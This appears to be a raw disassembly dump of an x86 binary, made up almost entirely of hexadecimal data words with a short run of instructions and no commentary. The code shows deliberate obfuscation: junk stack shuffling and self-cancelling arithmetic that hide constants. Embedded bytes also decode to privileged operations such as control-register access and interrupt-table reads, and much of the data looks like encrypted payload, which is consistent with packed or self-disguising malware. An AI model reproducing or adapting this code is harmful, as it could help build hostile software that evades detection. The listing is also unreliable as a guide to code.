6395FF80h, 8D05E9A5h, 0EA30B685h, 858D5005h, 5EA30C0h dd 6A006A50h, 0D1858D00h, 5005E9A4h, 0A553B5FFh, 95FF05E9h dd 5E70AC1h, 30B6858Dh, 8D5005EAh, 0EA30C485h, 6A5005h dd 858D006Ah, 5E9A4E3h, 53B5FF50h, 0FF05E9A5h, 0E70AC195h dd 0B6858D05h, 5005EA30h, 30D0858Dh, 6A5005EAh, 8D006A00h dd 0E9A53085h, 0B5FF5005h, 5E9A553h, 0AC195FFh, 858D05E7h dd 5EA30B6h, 0D8858D50h, 5005EA30h, 6A006Ah, 0A54E858Dh dd 0FF5005E9h, 0E9A553B5h, 0C195FF05h, 8D05E70Ah, 0EA30B685h dd 858D5005h, 5EA30D4h, 6A006A50h, 37858D00h, 5005E9A5h dd 0A553B5FFh, 95FF05E9h, 5E70AC1h, 30B6858Dh, 8D5005EAh dd 0EA30C885h, 6A5005h, 858D006Ah, 5E9A53Fh, 53B5FF50h dd 0FF05E9A5h, 0E70AC195h, 0B6858D05h, 5005EA30h, 30CC858Dh dd 6A5005EAh, 8D006A00h, 0E9A54685h, 0B5FF5005h, 5E9A553h dd 0AC195FFh, 0B5FF05E7h, 5E9A553h, 95195FFh, 0A2E905E7h dd 83000000h, 0E72565BDh, 840F0005h, 95h, 7F1BD83h, 0F0005E7h dd 1185h, 59958B00h, 8105E72Ah, 1CF8C2h, 0FE900h, 958D0000h dd 5E713E5h, 8134528Bh, 0D4C340C2h, 4595893Bh, 8305E720h dd 0E72045BDh, 840F0005h, 55h, 20459D8Bh, 0C38305E7h, 89038B4Ch dd 0EA30C085h, 459D8B05h, 8305E720h, 38B50C3h, 30C48589h dd 9D8B05EAh, 5E72045h, 8B54C383h, 0D0858903h, 8B05EA30h dd 0E720459Dh, 58C38305h, 8589038Bh, 5EA30D4h, 20459D8Bh dd 0C38305E7h, 89038B5Ch, 0EA30C885h, 0D5BD8305h, 5E732h dd 0D850Fh, 0BD830000h, 5E72565h, 68840F00h, 0FF000000h dd 0EA30D8B5h, 0CCB5FF05h, 0FF05EA30h, 0EA30C8B5h, 0D4B5FF05h dd 0FF05EA30h, 0EA30D0B5h, 0C4B5FF05h, 0FF05EA30h, 0EA30C0B5h dd 0BA858D05h, 5005EA30h, 30F2858Dh, 8D5005EAh, 0E717AD85h dd 95FF5005h, 5E70629h, 6A24C483h, 0DC858D40h, 5005EA30h dd 17AD858Dh, 6A5005E7h, 0A995FF00h, 6A05E70Ah, 0D195FF01h dd 8B05E727h, 816660C1h, 0E9616CF1h, 0Fh, 0E8E12989h, 71B8B6C4h dd 8AD1B115h, 8BF936D4h, 0D38B56C0h, 0E9516059h, 0Ch, 68C2EDCh dd 3ED9E8BCh, 0A7F8EB09h, 0BD83615Bh, 5E70D79h, 83097500h dd 0E71C15BDh, 19740005h, 0C08B5350h, 40EB8h, 0D5858900h dd 8D05E713h, 0E9AA349Dh, 5BD3FF05h, 15BD8358h, 5E71Ch dd 53501774h, 40EB8h, 0D5858900h, 8D05E713h, 0E9A7239Dh dd 5BD3FF05h, 5E86058h, 45000000h, 0F842497Ch, 665A74B5h dd 615652BBh, 0EE9h, 49353500h, 0C8E326C9h, 0C79AA01Ah dd 6A690231h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 3C90C352h, 0B5AB483h, 9B208348h dd 0D8F2BA66h, 0BD83C08Bh, 5E73301h, 1D840F00h, 0E8000000h dd 0Ah, 9B01434Fh, 24211671h, 0B70F0A9Bh, 1FE959D7h, 0BA000002h dd 0EB0195Bh, 0F766DF8Ch, 0F0004C7h, 20D85h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 1FF9FF6Fh, 0E9FF2BA9h, 10h, 4782A1EAh, 36C1EA3Bh, 5D07D32Ch dd 119046D3h, 9E9h, 98706300h, 0C84E4C4Fh, 9D8DAE1Fh, 5EA3722h dd 850Fh, 60930000h, 5250DE8Bh, 7E9h, 0FC85E00h, 43EF03E4h dd 585A310Fh, 0CC8A5061h, 3830F93h, 66000000h, 0FF64F08Bh dd 35h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 25896477h, 0 dd 9E9h, 6D272800h, 5D56EC79h, 0C48B286Ch, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0CDC35343h, 0EF8F22C2h dd 8C0F5Fh, 0F000000h, 1CDC9B7h, 6A00EBh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0E14DF3C3h dd 3EAD5B24h, 0CE8B66F5h, 66D6BF0Fh, 6A38B3B9h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 3A76C350h, 0DE9h, 28668700h, 101CA3A9h, 79EBD824h, 8F64AF82h dd 5, 13E900h, 4DB30000h, 676EF121h, 92E39028h, 0B4C9773Bh dd 475E9BD8h, 4C48347h, 0C00B1EB1h, 0A8840Fh, 66520000h dd 817EE81h, 6A615Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 2E28B5C3h, 880F1AC0h, 4, 0BADCBA66h dd 7189BD8Dh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0B6F382C3h, 1B801h, 0B9660000h dd 0E7FF7673h, 5723E580h, 10245C8Bh, 0B8838Bh, 0B60F0000h dd 0C8FE0140h, 0B08389h, 83830000h, 0B8h, 0C0335F02h, 52006AC3h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 80594F4Bh, 0E961D1EAh, 7, 0B903EEB7h, 8BC88842h, 53006AC0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 607BF53Dh, 148351BAh, 3800F27h, 0F000000h, 8361F7B7h dd 0E70D79BDh, 9750005h, 1C15BD83h, 740005E7h, 8B535019h dd 40EB8C0h, 85890000h, 5E70F2Dh, 0AA9B9D8Dh, 0D3FF05E9h dd 0BD83585Bh, 5E71C15h, 50177400h, 40EB853h, 85890000h dd 5E70F2Dh, 0A73C9D8Dh, 0D3FF05E9h, 0BA66585Bh, 0F600F31h dd 1189h, 0CE900h, 0D6600000h, 0E73268F8h, 0D41592ADh dd 0E960F20Bh, 0Fh, 40E0A835h, 71522E0Ah, 0EE1970Fh, 0F5BB36Ch dd 6161D3B7h, 28D0Fh, 0D38B0000h, 0BE66C08Bh, 0C28BDF2Ah dd 0F31718EBh, 9B46h, 4 dup(0) dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 5EA385Ch dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0FFh, 0 dd 0C3616000h, 0FFFFF8E9h, 94B58BFFh, 8105EA38h, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 98B53B00h, 0F05EA38h dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h dd 0FC00A03h, 1984h, 0BB535000h, 2, 2045858Bh, 188605E7h dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh dd 2474FF50h, 2595FF08h, 5005E72Ch, 244C010Fh, 0C08358FEh dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch dd 840FC00Ah, 9, 2045858Bh, 0C605E7h, 4FF5800h, 4C224h dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h dd 2BB00h, 858B0000h, 5E72045h, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 5E702CDh, 0 aLdLs db '‹D$',8,'‹˜',0 db 10h dd 98890000h, 1000h, 1889188Bh, 0AE9h, 0CD85C700h, 5E702h dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh, 840F003Eh dd 31h, 3AB7A1BBh, 0B101B076h, 13E901h, 8AAC0000h, 32C302C8h dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah, 0FFFFE585h, 0FD20BFFh dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h dd 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h, 8A37465Ah dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh, 0BB60C35Bh dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h, 850FD20Bh dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 3985C700h dd 105EA38h, 50000000h, 244C010Fh, 3D858FFEh, 8D05EA38h dd 0EA383585h, 3DBD8D05h, 8905EA38h, 23E938h, 858D0000h dd 5E713E5h, 538408Bh, 9B46F317h, 38358589h, 858D05EAh dd 5E713E5h, 893C408Bh, 0EA383985h, 52858D05h, 8905EA38h dd 0E72C2585h, 87E905h, 8B520000h, 728B60D4h, 0C7A8B08h dd 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h, 0FF73B46h dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h dd 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h, 0FF73B46h dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h dd 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh, 98040000h, 0D8321334h dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh, 8C25A5Eh dd 0C5858D00h, 8905EA3Ah, 0E71C6185h, 0ED858D05h, 8905EA3Ah dd 0E7226585h, 15858D05h, 8905EA3Bh, 0E7175585h, 9E805h dd 6E7C0000h, 7B2A9B04h, 0FFA71B7h, 38Dh, 68D78000h, 18C0F59h dd 0F9000000h, 604DC181h, 81600000h, 0E3B014D1h, 0E8816613h dd 2B61D3AEh, 28A0FF6h, 52000000h, 31048B5Fh, 0FE8h, 0AD642B00h dd 45685121h, 95A41A84h, 91402D87h, 5E9h, 21B80600h, 815B3AF6h dd 353695E8h, 8166536Eh, 5BD201DFh, 0B169F081h, 0BF0F6173h dd 1DE881D6h, 0BA5001C9h, 14202218h, 0F310489h, 1086h dd 0BE900h, 57740000h, 0F8A49F87h, 0EFAB8536h, 86BB66FBh dd 3EE8310h, 0F4E74B3h, 0C89h, 6840F00h, 81000000h, 35DA0AD3h dd 9CFE817Ch, 0FFFFFA0h, 1385h, 99D1BA00h, 28E9653Dh, 0D3000000h dd 0A9BA09DFh, 0E294AF4Dh, 78C0Fh, 66570000h, 3E3D781h dd 0FF57E95Fh, 7687FFFFh, 0BA222F42h, 9BC6CF94h, 0EBFC2FBCh dd 8, 0 dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 0F1858B24h dd 8D05E707h, 0EA6DCE85h, 8B088B05h, 100088h, 660A8B00h dd 89FC4A8Bh, 0EA3C688Dh, 41BD8305h, 5E72Eh, 0F840Fh, 6A600000h dd 1D95FF00h, 6105E71Ah, 0FFFFC4E9h, 728966FFh, 10CEC1FCh dd 2728966h, 5A04CD52h, 3C648589h, 0B58B05EAh, 5EA3C68h dd 6610CEC1h, 8B027289h, 0EA3C68B5h, 72896605h, 858B61FCh dd 5EA3C64h, 3D958DC3h, 8905E728h, 0E7204595h, 51958905h dd 0FF05E706h, 0E7065185h, 0F985C605h, 5305E707h, 0B148D868h dd 25B5FFFCh, 8D05E70Ch, 0E7391785h, 89D0FF05h, 0E71A1D85h dd 6C858D05h, 8905EA38h, 0E7218585h, 0E900EB05h, 5DDh dd 5D1E9h, 3DED6800h, 30E905EAh, 68FFFD40h, 5EA3EFCh, 0FD4026E9h dd 3F7468FFh, 1CE905EAh, 68FFFD40h, 5EA404Bh, 0FD4012E9h dd 41B368FFh, 8E905EAh, 3CFFFD40h, 3D0AC6F0h, 3807C9E9h dd 3A01CF0Fh, 361D3313h, 0B71E3208h, 587EA800h, 587CABF0h dd 4262ABF0h, 4767A18Eh, 0BAE3889h, 0C69FDFA5h, 0D81B4FBEh dd 0C375E25Ch, 75E2FD43h, 0E21FE2C3h, 0B400C375h, 0ABC375E2h dd 0C375E2C6h, 75E26DD7h, 4144A843h, 1263AC09h, 3178495Dh dd 0B2F93008h, 0E11B98Ah, 4133D1Dh, 0BCDB2707h, 50656D30h dd 4CBBC963h, 4E9A0750h, 0E2F01BD1h, 4651546h, 71BF0000h dd 6EBC8B45h, 8EBB8048h, 92B5824Eh, 89B19EB2h, 7F369FB1h dd 71DFFF2Bh, 71DFFF2Ah, 0FC1E12Ah, 0AC6E820h, 268A2FA7h dd 3DC69FDFh, 7A5298CEh, 0CEB30654h, 19C375E2h, 0A8E04046h dd 4EACB298h, 99748E76h, 0CD1EAEAEh, 0C5C76CFCh, 7A529DE1h dd 0F9620654h, 755973D1h, 0C35CF4DBh, 0DE6867D8h, 7A000003h dd 414A7A52h, 77CA1061h, 0C375E282h, 46531219h, 0C375E2F2h dd 0B57A0F1h, 67B2F33Ch, 0C375E291h, 2A704192h, 228C0A5Dh dd 5F4BD4BCh, 0EBCA237Fh, 5A72DEF8h, 85AA5274h, 73C5A282h dd 70C375E2h, 0A60AAF27h, 0BDC375E2h, 0EEC3116Ch, 0E26FD1E4h dd 1B64C375h, 0F3D3F8C7h, 9D8E915Dh, 39137EBDh, 40AEC915h dd 0FC2A755Dh, 4AA980DEh, 516FB986h, 3A005169h, 5AF6C6CDh dd 75E2FD47h, 103D68C3h, 7D95E23Ah, 227849BAh, 2CA66785h dd 0E381603h, 4A9BF2C8h, 0E156636Bh, 0E6C95DB6h, 74E6E895h dd 52EE6A35h, 35609h, 5462AE00h, 5F7FAFF4h, 5D7DAAF1h dd 4165A4F3h, 4076A08Fh, 0DA8E2588h, 0D562EEECh, 0D562EEEEh dd 0D378D0F0h, 0B67BD5F9h, 0DC37B91Ch, 0C1CCC69Fh, 547A52E9h dd 0CFEF3906h, 0BD9984F3h, 0E3760E93h, 8B69C375h, 79C375F2h dd 95D0F6D6h, 774B73BEh, 75F23282h, 14F9F7C3h, 0B267B2h dd 1FB7C95Dh, 92DC36BAh, 8DFCCDC6h, 564BA9Ah, 0DD8F4734h dd 81596A34h, 2DEDAh, 0DCFA2600h, 0C7E7270Ch, 0C5F52209h dd 0C9ED3C0Bh, 0C80E3807h, 5206BD00h, 0ADFA5664h, 0ADFA5666h dd 0ABF05878h, 3EF35D61h, 0DDBF0194h, 49B4C69Fh, 226A3511h dd 0DAFA2D1Ch, 6B46A584h, 0F6C11D21h, 297BF9D6h, 16622D5Ah dd 0AF814F36h, 8DDE2FCFh, 674746B1h, 0D5E12C1Bh, 5076E589h dd 7713D8EEh, 0DACDF3D5h, 20A7A9FAh, 67D936B0h, 24C9Ch dd 5CD8D600h, 0C9C375E2h, 0C76CFCDCh, 0F3D3F8C6h, 310D5EAFh dd 0AE8C9EA1h, 0D73A7950h, 53FCD6F6h, 230A5064h, 61EAFEC0h dd 8B83AC59h, 377657ABh, 7DD3F3D8h, 0D98EF66Eh, 5AD667h dd 0A38C0000h, 75654074h, 0A72FEE02h, 5D05F912h, 72470FC9h dd 0C692C18Eh, 432C301Bh, 71423372h, 34C25E8Ch, 21BA966Ah dd 207h, 252B1319h, 222E0C1Eh, 3C2C2C15h, 38103417h, 39172713h dd 9D85DD94h, 998493BDh, 878493BDh, 8A82A9A7h, 4D05A4A4h dd 9FA28068h, 269083C6h, 0AD3B9EC8h, 46C375E2h, 0CDDE2975h dd 0ECB363EDh, 0C08C9CA1h, 0D51DE123h, 1457B684h, 0F3CFEF39h dd 3F6916D4h, 99EAC31Fh, 183E6E31h, 319D63B6h, 4596C375h dd 485DEA66h, 715BE068h, 0FB26116Dh, 67310DC3h, 73327E97h dd 0D79F379Ch, 1C96395Fh, 7CBFC515h, 7554159Bh, 6F5FD7C3h dd 3A4DCEDAh, 1ED55B7Eh, 9DEEC375h, 0B39C714Ch, 5E17006Fh dd 3FF4D4F1h, 0C3751E49h, 6CBC704Ah, 0A696260Bh, 2FC40455h dd 0D4FCC2DBh, 217D414Bh, 9986EDC8h, 180629A1h, 778A7E5Bh dd 0B889C375h, 1CC00C6Fh, 0AE2BFD24h, 0D615EF97h, 75328371h dd 0B3971C3h, 97ADAA2Ah, 2BC1FC3Fh, 21725474h, 6CD4E1A9h dd 67C37582h, 3A9FD716h, 0C95C9085h, 0F1B91162h, 55961AEh dd 0A0EAC924h, 2467C882h, 2F2500h, 0E9D6240Ah, 0C29295BCh dd 0E5FA4E6Bh, 0A8F9C692h, 236A2156h, 74A38CD2h, 11291639h dd 923DEC54h, 4596E7C6h, 8870450Dh, 8BC6923Dh, 38077BBAh dd 0B887CF0Fh, 11714C92h, 339B7A76h, 0BB3CB1E6h, 0CCF74FCCh dd 640C594Ch, 2770C520h, 1C53967Ah, 0DDFE5A70h, 9Fh, 4D83BBE1h dd 4A86A4E6h, 4484B4FDh, 4088ACFFh, 418FCFFBh, 256D457Ch dd 216C3B15h, 3F6C3B15h, 226A311Fh, 0D5FDCC1Ch, 9FA378C0h dd 5E087BC6h, 6547A52h, 0F4D1EF39h, 72B986D4h, 1536794Ah dd 3AE2E435h, 75E2299Fh, 9AD92AC3h, 3F5B00A4h, 0B59BBBEDh dd 337EC189h, 11D6370Bh, 0C375E2AFh, 8D185BA4h, 67D98E13h dd 1031h, 53D8B500h, 0CEC375E2h, 0A750F8DEh, 0Bh, 0E25CD8F3h dd 0DFC9C375h, 46B151FFh, 242C0429h, 0BF9F8CD0h, 0BE12967h dd 8CEF381Ch, 2CDh, 52531700h, 3D0A5066h, 88F7CBEBh, 105FA383h dd 0E2CD1125h, 4FB886B4h, 0D8277B43h, 0A691EDF1h, 327D4179h dd 2E43A18h, 815F5457h, 4C7h, 4EF8300h, 5C243C87h, 338A68h dd 242C8900h, 5E08950h, 4, 8704E883h, 895C2404h, 0BABD241Ch dd 0C143E406h, 0C58107E5h, 0FFFFFFFFh, 72B6F581h, 0EDC17CF9h dd 0EFCD8102h, 817BF21Ah, 14A691F5h, 68E7687Eh, 24890000h dd 24048324h, 685B04h, 8900002Fh, 3481242Ch, 5E683024h dd 8438F13h, 30087381h, 0FF135E68h, 835B2434h, 2C8B04C4h dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 3A6DE95Ch dd 0F69BFFFDh, 77B811CCh, 305EA42h, 0EBD18BC5h, 20h, 7 dup(0) dd 57CE900h, 70E90000h, 68000005h, 5EA44F7h, 0FD3A2AE9h dd 459368FFh, 20E905EAh, 68FFFD3Ah, 5EA4739h, 0FD3A16E9h dd 479B68FFh, 0CE905EAh, 38FFFD3Ah, 3906CA0Ch, 3403CDEDh dd 361D330Bh, 32193717h, 8B1A3604h, 5C7AA4FCh, 5C78A78Ch dd 4666A78Ch, 4B6BBD8Ah, 17A22485h, 0C69FA1A1h, 231B73A2h dd 54661D6Fh, 3FAB8A79h, 9556552h, 75E2C0B4h, 0F595B643h dd 3F737830h, 1F674747h, 95208E75h, 4375A623h, 0A786D720h dd 0D94D60F0h, 2E6CE7h, 0D57A0000h, 0D991ECECh, 75E253D8h dd 0B3529EC3h, 3E17341Bh, 8EC3C264h, 0BEFDCEEBh, 822FE134h dd 0FBC4C960h, 9986A955h, 340342A1h, 57000000h, 1D3D6A35h dd 2C8DE8C1h, 0C375E248h, 166D82BAh, 0FAF64466h, 25E804BBh dd 7E9008ADh, 85AAC960h, 0C5DA181h, 5B735C31h, 7CB20693h dd 60B1C69Fh, 351BCF05h, 871C350Dh, 30468CA1h, 756B8D73h dd 76B586C3h, 0D02E2E1Bh, 756B966Dh, 24141D43h, 9AA2E9D6h dd 783C844h, 284C7BBh, 8F4179A6h, 0B71F16F0h, 4B6BA08Fh dd 7B358F68h, 0ED3E4375h, 10983DE5h, 8D43757Bh, 0B62B898h dd 340A69BAh, 0A9E3C1CBh, 0DF94B485h, 113F0511h, 0B48AB2F9h dd 0D8770D55h, 51646EBFh, 495C799Ch, 51FA81D9h, 885BBC2Bh dd 4A6F17BFh, 469241E6h, 7151ACFDh, 0EFCFDE61h, 9E7BBA93h dd 46924126h, 351FBB50h, 0E1F1E79Bh, 69A9h, 0EE023D00h dd 50FFA72Fh, 0B4155066h, 0C9601F3Fh, 0DC636BB4h, 0BE66EACCh dd 4C92AA91h, 9D064A74h, 55A6B00Eh, 0CD113B16h, 38848A50h dd 0E5F6526Ah, 2E5h, 0F15F7FA5h, 8E4260AAh, 884078A1h dd 844468A3h, 854B73BFh, 0E9D18938h, 0E5D07FD1h, 0FBD07FD1h dd 0FE2E75DBh, 11B170D8h, 9FA63C84h, 92C437C6h, 2B03Eh dd 65526800h, 0E4D27D55h, 42A188D6h, 0DC547Ch, 5EF65F78h dd 3ABA1F5Eh, 25C37564h, 0C37565DFh, 756579C0h, 65966EC3h dd 2B89C375h, 0D9C37565h, 3C734B76h, 9BF2C8EEh, 6505FF58h dd 2CC08375h, 3B546169h, 0B0095F51h, 707C1B67h, 0A39025ADh dd 900CB69Ch, 0B344C4Eh, 0F2C3EA0Bh, 1F23D10Dh, 98C31F30h dd 249h, 6DE3DBC1h, 6AE6C4C6h, 64E4D4DDh, 60E8CCDFh, 61EFEFDBh dd 454D255Ch, 414CDB75h, 5F4CDB75h, 424AD17Fh, 0F5DDEC7Ch dd 9FA75820h, 7E285BC6h, 6547A52h, 0DEFB8369h, 0C375E26Ah dd 87CF1869h, 60255A32h, 590951C9h, 27892C01h, 3CC69F0Dh dd 94678BD3h, 0A3A1667h, 4287F132h, 0D9148C22h, 0C58DCDFAh dd 3E6F517Ah, 98F1CD1Eh, 9F88975Dh, 4B7363BFh, 9FDD9A6Eh dd 6D4899C6h, 11F29A56h, 522C2214h, 614547AAh, 0EBE3CC1Dh dd 1B674744h, 0DEFBF332h, 0CC8A8846h, 8D2C3C0Dh, 0C8A11237h dd 1A01FEF2h, 0DCF9D122h, 0C2B4D57Ch, 241E2F77h, 66234E9Fh dd 20F5BD15h, 0D2CA8E58h, 0A32B0A5Bh, 0A6AA8C9Ch, 1DE336FEh dd 88D2CA8Eh, 9CEDBE80h, 745A72A1h, 0B791BE26h, 169A3F97h dd 2DD2CA8Eh, 0AC38E1DCh, 89D2CA8Eh, 4472BC63h, 8CC61776h dd 0DF497B29h, 0AF2770D8h, 0AAA68880h, 57AB8B9Dh, 0C1F5200Fh dd 4DAF05E2h, 668AD4DCh, 0D8672FA7h, 0CD9BE6EFh, 0AEC82088h dd 0D8A0755Dh, 0DBD4DCB4h, 56CEAB8Ah, 1DDEC973h, 93B59ACCh dd 96B69DB3h, 9F4D6AB0h, 5F4BD4FEh, 0F0CA237Fh, 872CF617h dd 0E4EECD4Ch, 0F3F15FD1h, 0F7CB14D4h, 0BF5B202h, 8307C4E0h dd 5B780799h, 8A7C3444h, 1111AD53h, 0C9D6645h, 29000000h dd 75FF5CD8h, 11A5C3h, 0D8F50000h, 0C375FC5Ch, 6DD3E6AEh dd 66C375F8h, 280D615h, 12A72FEEh, 0C96025BAh, 7D1A60B1h dd 9124AE6Fh, 0CCB6A4F0h, 0FDEFACFDh, 0E7701EECh, 0A3104Bh dd 3D6B0000h, 22683719h, 3A67CC1Ch, 2661CE02h, 357DCA06h dd 0CBFACB05h, 0BD93AB97h, 0BD93AB96h, 0BB95B596h, 0B69ABCECh dd 0F2465373h, 0F1C69FA5h, 6A35D482h, 9F220121h, 351A4C51h dd 0F8F23111h, 60257FDDh, 0D72B74C9h, 795134B8h, 92D1E9D6h dd 0AC4CFDD8h, 7849CCB6h, 1EF55B83h, 0CE8DA570h, 41h, 55FBC3C9h dd 52FEDCCEh, 6CFCDCC5h, 68E0C4C7h, 69E7D7C3h, 4D752D44h dd 4974C30Dh, 5774C30Dh, 5A72D977h, 0FDD5D474h, 9FA550D8h dd 762053C6h, 0C3Eh, 0F73C7400h, 298D5456h, 23025497h dd 5066526Fh, 0CBEB3D0Ah, 0A38388F7h, 1125105Fh, 86B4E2CDh dd 7B434FB8h, 0EDF1D827h, 4179A691h, 3A18327Dh, 286802E4h dd 8900002Fh, 0E389241Ch, 4C381h, 0EB830000h, 241C8704h dd 0E389535Ch, 4C381h, 0EB810000h, 4, 5C241C87h db 89h, 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push eax mov eax, 4FB4783Dh mov esi, 559EBBA7h sub esi, 56DB4334h sub esi, eax add esi, 56DB4334h pop eax push esp mov ebp, [esp] add esp, 4 push 7FBBh mov [esp], esi sub dword ptr [esp], 0C7554E7h pop dword ptr [ebp+8] add dword ptr [ebp+8], 0C7554E7h mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_545FF7 ; --------------------------------------------------------------------------- dd 0B87D8578h, 5EA4801h, 0C88BC503h, 51E9h, 748B6000h dd 76032424h, 247C8B3Ch, 81D68B28h, 0F8C2h, 4E8B6600h dd 0C9B70F06h, 0F00F983h, 1684h, 0C7A3B00h, 158F0Fh, 0EA830000h dd 0C428B28h, 2B144A8Bh, 89F82BC1h, 611C247Ch, 830008C2h dd 0F4928C2h, 0FFFFCF85h, 0FFE9E9FFh, 3EBAFFFFh, 0E80009FDh dd 14h, 463C25D4h, 8113340Bh, 0C49E4115h, 764E929Ch, 0FF4786ABh dd 0AD6DBA66h, 0FA8B6658h, 6B16C081h, 0BE80000h, 1F000000h dd 0A60A48CCh, 0F0B2C51Ch, 81607043h, 62F118D9h, 0AE82Bh dd 0A57E0000h, 0EB1E9CF0h, 0DB3812D7h, 0BB59615Fh, 9B1B9B6h dd 9F31EB81h, 0E2BA09B1h, 8B0EF280h, 0C681FC30h, 2A5210A6h dd 5FEE81FCh, 0BF653334h, 4B91F513h, 6294C681h, 56F55D3Ch dd 10E960h, 85780000h, 3447457Dh, 90D5D4FFh, 2493CB6h dd 7E96C91h, 3A000000h, 4CB7F086h, 8F614CD6h, 0FB8B6600h dd 6602E883h, 1B2FC781h, 0CF8B4848h, 1EB81h, 850F0000h dd 34h, 0EE860h, 59EF0000h, 994B62A9h, 0FEE49C76h, 0DE99A394h dd 860Fh, 665F0000h, 619CA3B8h, 29E9h, 0BFCA8D00h, 66718B72h dd 0DC3FF262h, 9638A766h, 838A0CBFh, 0FF65E928h, 85AFFFFh dd 79526621h, 42EE943Bh, 3C73C677h, 0D9E9EF14h, 20000000h dd 2C0FBE1Dh, 0DF2F82C1h, 0FDBEB6CFh, 36365D54h, 0BCECA4h dd 52C55DD5h, 0A4D676D3h, 4100FC94h, 50C1AEC4h, 325277CBh dd 9CACACh, 0F7F691B8h, 9382CD64h, 38h, 3Ch, 40h, 94h dd 5, 1, 0A28h, 2, 20h dup(0) dd offset dword_43DECC+292Ch dd 1FF1E9h, 4CFB6800h, 68E905EAh, 68FFFD32h, 5EA4E2Fh dd 0FD325EE9h, 4EE668FFh, 54E905EAh, 68FFFD32h, 5EA4F9Eh dd 0FD324AE9h, 506068FFh, 40E905EAh, 68FFFD32h, 5EA5119h dd 0FD3236E9h, 521B68FFh, 2CE905EAh, 68FFFD32h, 5EA52DAh dd 0FD3222E9h, 568368FFh, 18E905EAh, 68FFFD32h, 5EA5716h dd 0FD320EE9h, 584068FFh, 4E905EAh, 68FFFD32h, 5EA5B7Bh dd 0FD31FAE9h, 5EF668FFh, 0F0E905EAh, 68FFFD31h, 5EA62CDh dd 0FD31E6E9h, 643268FFh, 0DCE905EAh, 68FFFD31h, 5EA6498h dd 0FD31D2E9h, 64E368FFh, 0C8E905EAh, 68FFFD31h, 5EA653Dh dd 0FD31BEE9h, 660F68FFh, 0B4E905EAh, 68FFFD31h, 5EA6762h dd 0FD31AAE9h, 687A68FFh, 0A0E905EAh, 84FFFD31h, 8592BE98h dd 80AFA181h, 82A9A797h, 9EA5AB8Bh, 1FA6AA90h, 30063068h dd 30043318h, 3A1A3318h, 3F1F0916h, 0E3369011h, 0C69FA91Dh dd 80AFE716h, 7059A589h, 7A52A535h, 0EF390654h, 866A01CFh dd 8DEACF87h, 8AC95CF0h, 249065B9h, 52C692ECh, 990B11B9h dd 0AB61F27Ch, 37h, 3C6A353Fh, 4CA0DF1Eh, 0DBB40149h, 0D0C95CFEh dd 7EC6BB87h, 8C692FEh, 0C35D4743h, 7061F272h, 0CA9B6D48h dd 4F98C692h, 0CACEB207h, 0F4C5C692h, 0CBCCB9h, 52860000h dd 5E06547Ah, 0A6F4D4F1h, 1C226847h, 0A18CEF3Eh, 327D4179h dd 0A5E22A1Ah, 75E2A810h, 95AABC3h, 0FFC3FB26h, 36015DAEh dd 0B19E3016h, 0F977B696h, 98217D35h, 7BEE593Ch, 0B3285F38h dd 1537C375h, 18301F31h, 21CFE836h, 0AE4F6A7Ch, 0CBC95CAEh dd 539956FAh, 0FBBD18B2h, 0F8CCB8E0h, 0B77F27AFh, 0A4F49E62h dd 0D44D95C8h, 65CA8969h, 9FF23102h, 0F9A5AB93h, 679A4541h dd 0D33A0024h, 9702178Bh, 9317954h, 1F311094h, 6378D070h dd 1D4Eh, 0F55B63A9h, 0F25E7CAEh, 8C5C7CA5h, 884064A7h dd 894777A3h, 0EDD58D24h, 0E9D463EDh, 0F7D463EDh, 0FAD279D7h dd 